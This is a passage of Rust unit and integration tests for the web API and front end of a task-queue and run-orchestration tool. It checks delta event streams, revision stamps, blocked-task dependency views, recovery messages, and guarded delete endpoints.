22008            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22009            200
22010        );
22011    }
22012
22013    #[test]
22014    fn delta_stamps_cover_add_update_remove_and_noop() {
22015        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22016        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22017        let delta = diff_stamps(&before, &after, 42);
22018        assert_eq!(delta.base, 42);
22019        assert_eq!(delta.changed, ["b", "c"]);
22020        assert_eq!(delta.removed, ["a"]);
22021        let same = diff_stamps(&after, &after, 43);
22022        assert!(same.changed.is_empty() && same.removed.is_empty());
22023        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22024        let nanos: Stamps = [("b".into(), (2, 20))].into();
22025        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22026        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22027        assert_eq!(stamps_revision(&Stamps::new()), 0);
22028    }
22029
22030    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22031        std::fs::create_dir_all(home.join("runs")).unwrap();
22032        Arc::new(
22033            Ui::new(
22034                Queue::at(home.join("queue")),
22035                Questions::at(home.join("questions")),
22036                Talks::at(home.join("talks")),
22037                home.join("runs"),
22038                home.to_owned(),
22039                PathBuf::from("/repo/magi"),
22040            )
22041            .with_worktrees_root(home.join("wt")),
22042        )
22043    }
22044
22045    #[test]
22046    fn monitor_scan_isolates_store_failures_and_recovers() {
22047        let home = TempDir::new().unwrap();
22048        let ui = delta_test_ui(home.path());
22049        std::fs::create_dir_all(ui.questions.root()).unwrap();
22050        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22051        let before = monitor_scan(&ui, None);
22052        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22053        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22054        std::fs::create_dir_all(ui.talks.root()).unwrap();
22055        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22056        let during = monitor_scan(&ui, Some(before.clone()));
22057        assert_eq!(during.0.2, before.0.2);
22058        assert_ne!(during.0.3, before.0.3);
22059        assert!(during.1[2].contains_key("new"));
22060        std::fs::remove_file(ui.questions.root()).unwrap();
22061        let after = monitor_scan(&ui, Some(during));
22062        assert_eq!(after.0.2, 0);
22063        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22064        // A failed first scan also permits healthy stores to publish.
22065        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22066        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22067    }
22068
22069    #[tokio::test]
22070    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22071        let home = TempDir::new().unwrap();
22072        let ui = delta_test_ui(home.path());
22073        let mut task = Task::new(
22074            "stream task".into(),
22075            "text".into(),
22076            PathBuf::from("/repo"),
22077            Source::Human,
22078        );
22079        ui.queue.put(&mut task).unwrap();
22080        let response = events(State(ui.clone())).await.into_response();
22081        let mut stream = response.into_body().into_data_stream();
22082        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22083            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22084                .await
22085                .unwrap()
22086                .unwrap()
22087                .unwrap();
22088            let text = String::from_utf8(chunk.to_vec()).unwrap();
22089            let data = text
22090                .lines()
22091                .find_map(|line| {
22092                    line.strip_prefix("data: ")
22093                        .or_else(|| line.strip_prefix("data:"))
22094                })
22095                .unwrap();
22096            serde_json::from_str(data).unwrap()
22097        }
22098        let initial = change(&mut stream).await;
22099        assert!(initial.get("queue_delta").is_none());
22100        task.instruction.push_str(" changed");
22101        ui.queue.put(&mut task).unwrap();
22102        let updated = change(&mut stream).await;
22103        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22104        assert_eq!(
22105            updated["queue_delta"]["changed"],
22106            serde_json::json!([task.id])
22107        );
22108        assert_eq!(
22109            updated["queue_rev"].as_u64(),
22110            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22111        );
22112        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22113        let removed = change(&mut stream).await;
22114        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22115        assert_eq!(
22116            removed["queue_delta"]["removed"],
22117            serde_json::json!([task.id])
22118        );
22119    }
22120
22121    #[tokio::test]
22122    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22123        let home = TempDir::new().unwrap();
22124        let ui = delta_test_ui(home.path());
22125        let queue = ui.queue.clone();
22126        let query = |ids: Option<&str>| {
22127            Query(ListQuery {
22128                limit: Some(2),
22129                ids: ids.map(str::to_owned),
22130            })
22131        };
22132        let mut root = Task::new(
22133            "root".into(),
22134            "instruction".into(),
22135            PathBuf::from("/repo"),
22136            Source::Human,
22137        );
22138        queue.put(&mut root).unwrap();
22139        let mut blocked = Task::new(
22140            "blocked".into(),
22141            "instruction".into(),
22142            PathBuf::from("/repo"),
22143            Source::Human,
22144        );
22145        blocked.block(vec![root.id.clone()], None);
22146        queue.put(&mut blocked).unwrap();
22147        let whole =
22148            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22149                .unwrap();
22150        let subset = serde_json::to_value(
22151            queue_list(State(ui.clone()), query(Some(&root.id)))
22152                .await
22153                .unwrap()
22154                .0,
22155        )
22156        .unwrap();
22157        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22158        let blockers = serde_json::to_value(
22159            queue_list(State(ui.clone()), query(Some("")))
22160                .await
22161                .unwrap()
22162                .0,
22163        )
22164        .unwrap();
22165        assert_eq!(blockers.as_array().unwrap().len(), 1);
22166        assert_eq!(blockers[0]["id"], blocked.id);
22167        assert_eq!(
22168            blockers[0]["waits_on"],
22169            whole
22170                .as_array()
22171                .unwrap()
22172                .iter()
22173                .find(|row| row["id"] == blocked.id)
22174                .unwrap()["waits_on"]
22175        );
22176
22177        for id in [
22178            "20260902-140501-aaaa",
22179            "20260902-140502-bbbb",
22180            "20260902-140503-cccc",
22181        ] {
22182            write_run(&ui.runs, id, RunStatus::Merged);
22183        }
22184        let old = serde_json::to_value(
22185            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22186                .await
22187                .unwrap()
22188                .0,
22189        )
22190        .unwrap();
22191        assert!(
22192            old.as_array().unwrap().is_empty(),
22193            "older updates must not enter the window"
22194        );
22195        let newest = serde_json::to_value(
22196            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22197                .await
22198                .unwrap()
22199                .0,
22200        )
22201        .unwrap();
22202        assert_eq!(newest.as_array().unwrap().len(), 1);
22203        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22204
22205        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22206        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22207        let talks = serde_json::to_value(
22208            talks_list(
22209                State(ui.clone()),
22210                query(Some("20260905-000000-d4e5")),
22211                header::HeaderMap::new(),
22212            )
22213            .await
22214            .unwrap()
22215            .0,
22216        )
22217        .unwrap();
22218        assert_eq!(talks.as_array().unwrap().len(), 1);
22219        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22220        assert_eq!(
22221            serde_json::to_value(
22222                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22223                    .await
22224                    .unwrap()
22225                    .0
22226            )
22227            .unwrap(),
22228            serde_json::json!([])
22229        );
22230    }
22231
22232    #[tokio::test]
22233    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22234    async fn delta_payload_benchmark() {
22235        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22236        let ui = delta_test_ui(&home);
22237        let query = |ids: Option<String>| {
22238            Query(ListQuery {
22239                limit: Some(50),
22240                ids,
22241            })
22242        };
22243        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22244        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22245        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22246            .await
22247            .unwrap()
22248            .0;
22249        let queue_id = queue
22250            .iter()
22251            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22252            .unwrap_or(&queue[0])
22253            .task
22254            .id
22255            .clone();
22256        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22257            .await
22258            .unwrap()
22259            .0;
22260        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22261            .await
22262            .unwrap()
22263            .0;
22264        let talks_delta = talks_list(
22265            State(ui.clone()),
22266            query(Some(talks[0].id.clone())),
22267            header::HeaderMap::new(),
22268        )
22269        .await
22270        .unwrap()
22271        .0;
22272        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22273        eprintln!(
22274            "DELTA_PAYLOAD {}",
22275            serde_json::json!({
22276                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22277                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22278                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22279                "counts": [queue.len(), runs.len(), talks.len()],
22280                "blocked": queue_delta.len() - 1,
22281            })
22282        );
22283    }
22284
22285    #[test]
22286    fn runs_revision_moves_when_deleting_an_older_run() {
22287        let temp = TempDir::new().expect("tempdir");
22288        let runs = temp.path().join("runs");
22289        std::fs::create_dir_all(&runs).expect("create runs dir");
22290
22291        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22292
22293        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22294        std::thread::sleep(Duration::from_millis(10));
22295        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22296
22297        let rev_before = runs_revision(&runs);
22298        assert!(rev_before > 0);
22299
22300        let old_dir = runs.join("20260901-100000-old1");
22301        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22302
22303        let rev_after = runs_revision(&runs);
22304        assert_ne!(
22305            rev_before, rev_after,
22306            "deleting an older run must change the revision so other clients see the deletion"
22307        );
22308    }
22309
22310    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22311    /// process-global home entirely — `RunState::save` writes through
22312    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22313    /// (see `tests::home_lock` in the integration suite for why).
22314    fn write_state(runs: &FsPath, state: &RunState) {
22315        let dir = runs.join(&state.id);
22316        std::fs::create_dir_all(&dir).expect("run dir");
22317        std::fs::write(
22318            dir.join("run.json"),
22319            serde_json::to_string_pretty(state).expect("serialize run"),
22320        )
22321        .expect("write run.json");
22322    }
22323
22324    /// A seat starting or finishing is a write to `run.json` like any other,
22325    /// so it moves the same revision the change stream already watches —
22326    /// nothing new for `/api/events` to learn, but the property this feature
22327    /// depends on to reach the phone without a poll.
22328    #[test]
22329    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22330        let temp = TempDir::new().expect("tempdir");
22331        let runs = temp.path().join("runs");
22332        std::fs::create_dir_all(&runs).expect("create runs dir");
22333        let mut state = RunState::new(
22334            PathBuf::from("/repo/magi"),
22335            "main".to_owned(),
22336            "0123456789abcdef".to_owned(),
22337            "task".to_owned(),
22338            Config::default(),
22339        );
22340        state.id = "20260902-100000-c0de".to_owned();
22341        write_state(&runs, &state);
22342
22343        let rev_idle = runs_revision(&runs);
22344        std::thread::sleep(Duration::from_millis(10));
22345        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22346        write_state(&runs, &state);
22347        let rev_started = runs_revision(&runs);
22348        assert_ne!(
22349            rev_idle, rev_started,
22350            "a seat starting must move the revision"
22351        );
22352
22353        std::thread::sleep(Duration::from_millis(10));
22354        state.seat_finished("judge-1");
22355        write_state(&runs, &state);
22356        let rev_finished = runs_revision(&runs);
22357        assert_ne!(
22358            rev_started, rev_finished,
22359            "and clearing it again must move the revision a second time"
22360        );
22361    }
22362
22363    #[tokio::test]
22364    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22365        // `TaskView` flattens `Task`, so this is really asserting that
22366        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22367        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22368        // never touched web.rs, so nothing here caught it if it had.
22369        let fx = Fixture::start().await;
22370        let q = fx.queue();
22371
22372        let mut t = Task::new(
22373            "Task".to_owned(),
22374            "Instruction".to_owned(),
22375            PathBuf::from("/repo"),
22376            Source::Human,
22377        );
22378        t.block(
22379            vec!["20260101-000000-dead".to_owned()],
22380            Some("waiting on Task 1".to_owned()),
22381        );
22382        t.answers.push(crate::queue::AnsweredQuestion {
22383            question: "Which backend?".to_owned(),
22384            answer: "SQLite".to_owned(),
22385        });
22386        q.put(&mut t).expect("put t");
22387
22388        let res = fx.get("/api/queue").await;
22389        assert_eq!(res.status, 200);
22390        let list = res.json();
22391        let view = list
22392            .as_array()
22393            .expect("array")
22394            .iter()
22395            .find(|v| v["id"] == t.id)
22396            .expect("task in list");
22397        assert_eq!(view["status_str"], "blocked");
22398        assert_eq!(
22399            view["blocked_by"],
22400            serde_json::json!(["20260101-000000-dead"])
22401        );
22402        assert_eq!(view["block_reason"], "waiting on Task 1");
22403        assert_eq!(view["answers"][0]["question"], "Which backend?");
22404        assert_eq!(view["answers"][0]["answer"], "SQLite");
22405
22406        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22407        // but never `answers` - that is a settled decision, not state
22408        // describing the current block, so it survives.
22409        let res = fx
22410            .post(&format!("/api/queue/{}/hold", t.short()), None)
22411            .await;
22412        assert_eq!(res.status, 200);
22413        let held = res.json();
22414        assert_eq!(held["status_str"], "held");
22415        assert_eq!(held["blocked_by"], serde_json::json!([]));
22416        assert!(held["block_reason"].is_null());
22417        assert_eq!(held["answers"][0]["answer"], "SQLite");
22418    }
22419
22420    #[tokio::test]
22421    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22422        let fx = Fixture::start().await;
22423        let queue = fx.queue();
22424        let questions = fx.questions();
22425        let mut task = Task::new(
22426            "Disk recovery".into(),
22427            "Inspect".into(),
22428            PathBuf::from("/repo"),
22429            Source::Human,
22430        );
22431        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22432        task.mark_disk_capacity();
22433        queue.put(&mut task).unwrap();
22434        let mut records = Vec::new();
22435        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22436            let mut q = Question::new(
22437                task.id.clone(),
22438                node.into(),
22439                "triage".into(),
22440                "Resume recovery?".into(),
22441                String::new(),
22442                vec![],
22443            );
22444            q.routed_task = Some(task.id.clone());
22445            questions.put(&mut q).unwrap();
22446            records.push(q);
22447        }
22448        let url = format!("/api/queue/{}", task.id);
22449        let view = fx.get(&url).await.json();
22450        assert_eq!(view["status_str"], "held");
22451        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22452        assert!(
22453            view["recovery"]
22454                .as_str()
22455                .unwrap()
22456                .contains("Disk recovery alone will not resume")
22457        );
22458        assert!(
22459            view["recovery"]
22460                .as_str()
22461                .unwrap()
22462                .contains("Disk wait (automatically monitored)")
22463        );
22464        for blocker in view["blockers"].as_array().unwrap() {
22465            assert!(blocker["destination"].is_null());
22466            assert!(
22467                blocker["next"]
22468                    .as_str()
22469                    .unwrap()
22470                    .contains("pending delivery")
22471            );
22472        }
22473        for q in &mut records {
22474            q.routed_chat = Some("owning-chat".into());
22475            questions.put(q).unwrap();
22476        }
22477        let view = fx.get(&url).await.json();
22478        for blocker in view["blockers"].as_array().unwrap() {
22479            assert_eq!(
22480                blocker["destination"],
22481                serde_json::json!(["chat", "owning-chat"])
22482            );
22483            assert_eq!(blocker["resolves_itself"], false);
22484        }
22485        // Answered routed decisions can still be awaiting task-chat application.
22486        for q in &mut records {
22487            q.status = ask::QuestionStatus::Answered;
22488            questions.put(q).unwrap();
22489        }
22490        assert!(crate::triage::pending_for(&questions, &task));
22491        let view = fx.get(&url).await.json();
22492        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22493        assert!(
22494            view["blockers"][0]["next"]
22495                .as_str()
22496                .unwrap()
22497                .contains("not yet applied")
22498        );
22499        for q in &records {
22500            task.mark_triage_applied(&q.id);
22501        }
22502        queue.put(&mut task).unwrap();
22503        assert!(!crate::triage::pending_for(&questions, &task));
22504        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22505        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22506    }
22507
22508    #[test]
22509    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22510        use crate::queue::HoldSource;
22511        let mut task = Task::new(
22512            "Recovery".into(),
22513            "Inspect".into(),
22514            PathBuf::from("/repo"),
22515            Source::Human,
22516        );
22517        assert!(task_recovery(&task).is_none());
22518        task.hold_manual(Some("Operator paused".into()));
22519        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22520        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22521        let text = task_recovery(&task).unwrap();
22522        assert!(text.contains("restores held"));
22523        assert!(text.contains("clears its dependency references"));
22524        task.hold_source = Some(HoldSource::Machine);
22525        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22526        task.mark_disk_capacity();
22527        let view = TaskView::with_inventory(
22528            task.clone(),
22529            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22530        );
22531        let json = serde_json::to_value(view).unwrap();
22532        assert_eq!(json["block_reason"], "Decision needed");
22533        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22534        let recovery = json["recovery"].as_str().unwrap();
22535        assert!(recovery.contains("not current capacity"));
22536        assert!(recovery.contains("triage rechecks"));
22537        assert_eq!(json["blockers"][0]["state"], "missing");
22538        task.blocked_from = Some(TaskStatus::Queued);
22539        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22540        task.blocked_from = None;
22541        assert!(task_recovery(&task).unwrap().contains("restores held"));
22542    }
22543
22544    #[tokio::test]
22545    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22546        let fx = Fixture::start().await;
22547        let q = fx.queue();
22548        let mk = |title: &str| {
22549            Task::new(
22550                title.to_owned(),
22551                "Instruction".to_owned(),
22552                PathBuf::from("/repo"),
22553                Source::Human,
22554            )
22555        };
22556        let mut root = mk("root");
22557        root.hold_manual(Some("waiting".to_owned()));
22558        q.put(&mut root).unwrap();
22559        let mut mid = mk("mid");
22560        mid.block(vec![root.id.clone()], None);
22561        q.put(&mut mid).unwrap();
22562        let mut leaf = mk("leaf");
22563        leaf.block(vec![mid.id.clone()], None);
22564        q.put(&mut leaf).unwrap();
22565
22566        let list = fx.get("/api/queue").await.json();
22567        let find = |id: &str| {
22568            list.as_array()
22569                .unwrap()
22570                .iter()
22571                .find(|v| v["id"] == id)
22572                .unwrap()
22573                .clone()
22574        };
22575        let leaf_view = find(&leaf.id);
22576        assert_eq!(
22577            leaf_view["waits_on"],
22578            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22579        );
22580        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22581        assert_eq!(
22582            find(&mid.id)["waits_on"],
22583            serde_json::json!([format!("{} (held)", root.short())])
22584        );
22585        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22586    }
22587
22588    #[tokio::test]
22589    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22590        let fx = Fixture::start().await;
22591        let q = fx.queue();
22592
22593        // 1. A queued task with runs attached can be deleted.
22594        let mut t1 = Task::new(
22595            "Task 1".to_owned(),
22596            "Instruction 1".to_owned(),
22597            PathBuf::from("/repo"),
22598            Source::Human,
22599        );
22600        let run_id = "20260901-000000-r111";
22601        t1.runs.push(run_id.to_owned());
22602        write_run(&fx.runs(), run_id, RunStatus::Merged);
22603        q.put(&mut t1).expect("put t1");
22604
22605        // Delete by short id
22606        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22607        assert_eq!(res.status, 204);
22608        assert!(res.body.is_empty(), "204 No Content has no body");
22609        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22610        assert!(
22611            fx.runs().join(run_id).exists(),
22612            "run directory must not be deleted when its task is deleted"
22613        );
22614
22615        // 2. A task a live daemon is running is refused with 409.
22616        let mut t2 = Task::new(
22617            "Task 2".to_owned(),
22618            "Instruction 2".to_owned(),
22619            PathBuf::from("/repo"),
22620            Source::Human,
22621        );
22622        t2.status = TaskStatus::Running;
22623        q.put(&mut t2).expect("put t2");
22624        let mut beat = crate::daemon::Status::new();
22625        beat.current = vec![crate::daemon::Current {
22626            worker: None,
22627            task: t2.id.clone(),
22628            run: "20260901-000000-r222".to_owned(),
22629        }];
22630        beat.updated_at = jiff::Timestamp::now();
22631        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22632            .expect("publish a heartbeat");
22633        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22634        assert_eq!(res.status, 409);
22635        assert!(
22636            res.json()["error"]
22637                .as_str()
22638                .unwrap()
22639                .contains("live daemon")
22640        );
22641        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22642
22643        // 3. The same `running` status and an orphaned lock, with no daemon
22644        // behind either, is a leftover and deletable. Before this the phone
22645        // refused it for good: the status never changes on its own and
22646        // nothing drops a lock whose process is gone.
22647        // The daemon is killed: the file stays, the heartbeat stops.
22648        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22649        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22650            .expect("leave a stale heartbeat");
22651        let mut t3 = Task::new(
22652            "Task 3".to_owned(),
22653            "Instruction 3".to_owned(),
22654            PathBuf::from("/repo"),
22655            Source::Human,
22656        );
22657        t3.status = TaskStatus::Running;
22658        q.put(&mut t3).expect("put t3");
22659        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22660        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22661        assert_eq!(res.status, 204);
22662        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22663        assert!(
22664            q.claim(&t3.id).is_ok(),
22665            "the stale lock went with it, so the id is claimable again"
22666        );
22667
22668        // 4. Missing id returns 404
22669        let res = fx.delete("/api/queue/nonexistent").await;
22670        assert_eq!(res.status, 404);
22671    }
22672
22673    #[tokio::test]
22674    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22675        let fx = Fixture::start().await;
22676        let runs = fx.runs();
22677
22678        // 1. Finished and folded run can be deleted along with artifacts
22679        let run_id = "20260901-000000-fold";
22680        let mut state = RunState::new(
22681            PathBuf::from("/repo"),
22682            "main".to_owned(),
22683            "abc".to_owned(),
22684            "instruction".to_owned(),
22685            Config::default(),
22686        );
22687        state.id = run_id.to_owned();
22688        state.status = RunStatus::Merged;
22689        state.candidates.push(crate::run::Candidate {
22690            index: 0,
22691            label: 'A',
22692            agent: "a".to_owned(),
22693            branch: "b".to_owned(),
22694            worktree: PathBuf::from("/w"),
22695            summary: String::new(),
22696            stat: String::new(),
22697            files: 1,
22698            commits: 1,
22699            empty: false,
22700            failed: None,
22701            verified_noop: None,
22702            duration_ms: 0,
22703            folded: true,
22704        });
22705        let dir = runs.join(run_id);
22706        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22707        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22708            .expect("write artifact");
22709        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22710            .expect("write run.json");
22711
22712        // Delete by short id
22713        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22714        assert_eq!(res.status, 204);
22715        assert!(res.body.is_empty(), "204 has no body");
22716        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22717
22718        // 2. A run a live daemon is working on is refused with 409. The
22719        // heartbeat is what makes it refusable: an unfinished run with no
22720        // daemon behind it is a leftover from a killed process, and case 1
22721        // above would otherwise be impossible to tell apart from this one.
22722        let run_running = "20260901-000000-rung";
22723        write_run(&runs, run_running, RunStatus::Prep);
22724        let mut beat = crate::daemon::Status::new();
22725        beat.current = vec![crate::daemon::Current {
22726            worker: None,
22727            task: "20260901-000000-task".to_owned(),
22728            run: run_running.to_owned(),
22729        }];
22730        beat.updated_at = jiff::Timestamp::now();
22731        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22732            .expect("publish a heartbeat");
22733        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22734        assert_eq!(res.status, 409);
22735        assert!(
22736            res.json()["error"]
22737                .as_str()
22738                .unwrap()
22739                .contains("live daemon"),
22740            "the refusal must say who is holding it"
22741        );
22742        assert!(
22743            runs.join(run_running).exists(),
22744            "a run in flight keeps its directory"
22745        );
22746
22747        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22748        let run_unfolded = "20260901-000000-unfd";
22749        let mut state2 = RunState::new(
22750            PathBuf::from("/repo"),
22751            "main".to_owned(),
22752            "abc".to_owned(),
22753            "instruction".to_owned(),
22754            Config::default(),
22755        );
22756        state2.id = run_unfolded.to_owned();
22757        state2.status = RunStatus::Ready;
22758        state2.candidates.push(crate::run::Candidate {
22759            index: 0,
22760            label: 'A',
22761            agent: "a".to_owned(),
22762            branch: "b".to_owned(),
22763            worktree: PathBuf::from("/w"),
22764            summary: String::new(),
22765            stat: String::new(),
22766            files: 1,
22767            commits: 1,
22768            empty: false,
22769            failed: None,
22770            verified_noop: None,
22771            duration_ms: 0,
22772            folded: false,
22773        });
22774        let dir2 = runs.join(run_unfolded);
22775        std::fs::create_dir_all(&dir2).expect("create dir2");
22776        std::fs::write(
22777            dir2.join("run.json"),
22778            serde_json::to_string(&state2).unwrap(),
22779        )
22780        .expect("write run.json");
22781
22782        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22783        assert_eq!(res.status, 409);
22784        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22785        assert!(dir2.exists(), "unfolded run directory is kept");
22786
22787        // 4. Missing id returns 404
22788        let res = fx.delete("/api/runs/nonexistent").await;
22789        assert_eq!(res.status, 404);
22790    }
22791
22792    /// The queue tiles on the Stats tab must render even on a home with no
22793    /// runs at all: queue state is not derived from run history, so hiding
22794    /// the whole dashboard body behind "no runs yet" would drop the one
22795    /// thing this tab promises unconditionally (queued/running/held/done).
22796    /// A DOM-level test would need a browser this suite does not have, so
22797    /// this pins the same invariant textually: `renderStatsQueue` is called
22798    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22799    /// block that gates the run-derived panels.
22800    #[test]
22801    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22802        let start = APP_JS
22803            .find("function renderStats() {")
22804            .expect("renderStats");
22805        let end = start
22806            + APP_JS[start..]
22807                .find("function statsTile(")
22808                .expect("the next top-level function");
22809        let body = &APP_JS[start..end];
22810
22811        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22812        let gate_end = gate_start
22813            + body[gate_start..]
22814                .find("}\n  renderStatsQueue")
22815                .expect("the gate's own closing brace, right before the unconditional call");
22816        let gated = &body[gate_start..gate_end];
22817
22818        assert_eq!(
22819            body.matches("renderStatsQueue(").count(),
22820            1,
22821            "renderStats must call renderStatsQueue exactly once: {body}"
22822        );
22823        assert!(
22824            !gated.contains("renderStatsQueue"),
22825            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22826             run-derived panels on an empty run history - the queue panel has to render \
22827             regardless: {gated}"
22828        );
22829    }
22830
22831    #[test]
22832    fn web_ui_delete_contract_in_front_end() {
22833        // 1. API block has both delete endpoints
22834        assert!(APP_JS.contains("deleteRun:"));
22835        assert!(APP_JS.contains("deleteTask:"));
22836
22837        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22838        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22839            ..APP_JS.find("function renderRuns").unwrap()];
22840        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22841
22842        // 3. Run detail has delete entry and reasons
22843        assert!(APP_JS.contains("renderRunDelete"));
22844        assert!(APP_JS.contains("runDeleteReason"));
22845        assert!(APP_JS.contains("magi fold"));
22846        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22847
22848        // 4. Two-step delete arming and focus on Cancel
22849        assert!(APP_JS.contains("cancel.focus"));
22850        assert!(APP_JS.contains("armedRunDelete"));
22851        assert!(APP_JS.contains("renderTaskDeleteBox"));
22852        assert!(APP_JS.contains("armed${cap(key)}"));
22853
22854        // 5. Running task has disabled delete
22855        assert!(APP_JS.contains("disabled: status === \"running\""));
22856    }
22857
22858    /// Every element a run card's updater reaches for must be in the `refs`
22859    /// the builder handed it.
22860    ///
22861    /// `createRunCard` builds its elements, appends them to the card, and then
22862    /// lists them again in `row.refs`. That second list is the one the updater
22863    /// uses, and nothing connects the two - an element can be built, appended
22864    /// and rendered, and still be missing from `refs`. `superseded` was, for
22865    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22866    /// exception took `syncList` with it, and the deck showed
22867    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22868    /// line is computed before the cards, which is why the failure looked like
22869    /// a server that had lost its runs rather than a front end that had
22870    /// stopped rendering them.
22871    ///
22872    /// A `cargo test` cannot execute the front end, so this reads the two
22873    /// halves out of the source and compares them as sets. It is not a check
22874    /// on the wording of either list: adding an element, renaming one, or
22875    /// reordering them all keeps this passing, and only using one the builder
22876    /// never published fails it.
22877    #[test]
22878    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22879        let build = APP_JS
22880            .find("function createRunCard")
22881            .expect("createRunCard exists");
22882        let update = APP_JS
